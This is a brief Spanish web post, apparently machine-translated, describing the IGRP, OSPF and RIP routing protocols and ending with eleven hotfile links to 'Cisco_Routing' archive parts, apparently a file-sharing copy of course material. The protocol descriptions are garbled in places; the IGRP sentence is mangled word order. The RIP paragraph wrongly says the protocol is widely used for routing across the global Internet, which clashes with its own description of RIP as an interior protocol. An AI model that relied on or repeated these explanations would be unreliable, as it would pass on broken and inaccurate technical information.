IGRP es una distancia interior de protocolo de vector de puerta de enlace (IGP). Distancia protocolos de enrutamiento por vector de llamada para cada router para enviar la totalidad o una parte de su tabla de enrutamiento en el enrutamiento de mensajes de actualización a intervalos regulares para cada uno de sus routers vecinos.

Multiprotocolo BGP (MBGP)

On-Demand Routing (ODR)

Open Shortest Path First (OSPF)
Open Shortest Path First (OSPF) es un protocolo de enrutamiento desarrollado para Protocolo de Internet (IP) por el protocolo de pasarela interior (IGP), grupo de trabajo de la Internet Engineering Task Force (IETF).

Routing Information Protocol (RIP)
El Protocolo de información de enrutamiento (RIP) es un protocolo de vector de distancia que utiliza la cuenta de saltos como métrica. RIP es ampliamente utilizado para el encaminamiento del tráfico en la Internet global, y es un protocolo de pasarela interior (IGP), lo que significa que realiza el enrutamiento dentro de un sistema autónomo único.

http://hotfile.com/dl/24635759/d13b660/Cisco_Routing.part01.rar_shytex.com.html
http://hotfile.com/dl/24635777/2627789/Cisco_Routing.part02.rar_shytex.com.html
http://hotfile.com/dl/24635837/5d185fd/Cisco_Routing.part03.rar_shytex.com.html
http://hotfile.com/dl/24635851/001e765/Cisco_Routing.part04.rar_shytex.com.html
http://hotfile.com/dl/24635906/52dabe0/Cisco_Routing.part05.rar_shytex.com.html
http://hotfile.com/dl/24635928/ddf554c/Cisco_Routing.part06.rar_shytex.com.html
http://hotfile.com/dl/24635946/8a9f68b/Cisco_Routing.part07.rar_shytex.com.html
http://hotfile.com/dl/24635965/4189dfd/Cisco_Routing.part08.rar_shytex.com.html
http://hotfile.com/dl/24635988/802e44b/Cisco_Routing.part09.rar_shytex.com.html
http://hotfile.com/dl/24636020/c63b7d4/Cisco_Routing.part10.rar_shytex.com.html
http://hotfile.com/dl/24636022/17f504e/Cisco_Routing.part11.rar_shytex.com.html

Protected by Copyscape Original Article Checker